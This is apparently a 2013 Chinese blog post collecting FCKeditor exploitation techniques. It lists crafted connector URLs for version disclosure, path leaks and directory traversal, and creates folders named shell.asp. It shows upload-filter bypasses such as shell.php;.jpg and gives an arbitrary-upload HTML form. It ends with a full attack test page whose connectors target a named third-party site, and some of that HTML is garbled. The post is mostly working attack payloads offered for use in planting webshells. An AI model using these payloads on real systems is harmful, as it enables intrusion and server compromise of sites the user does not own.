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Fckeditor漏洞最新整理 2

光的传人11年前 (2013-03-10)日志1502

1、查看编辑器版本
/fckeditor/editor/dialog/fck_about.html

2、爆绝对路径
FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通杀)
/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx 2.5可突破

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

3、遍历目录
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符：
JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

4、jsp上传
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

5、Version < =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。

<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>

6、 FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg
6.1：提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件未测试。
6.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

7、突破建立文件夹
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

8、 FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

9、最古老的漏洞，Type文件没有限制！
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！

10、browser

fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

11、本地构造test文件

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">

function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

return sUrl ;
}

function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;

document.getElementById('eUrl').innerHTML = url ;
}

function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}

function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}

function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

if ( ! sFolder )
return false ;

var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;

SetFrameUrl( sUrl ) ;
return false ;
}

function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}

this.frames.frmUpload = this ;

function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}

</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option>
<option value="ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
<option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option>
<option value="PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option>
<option value="py/connector.py">Python</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" onclick="GetFolders();">Get Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="CreateFolder();">Create Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" onclick="SetAction();" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>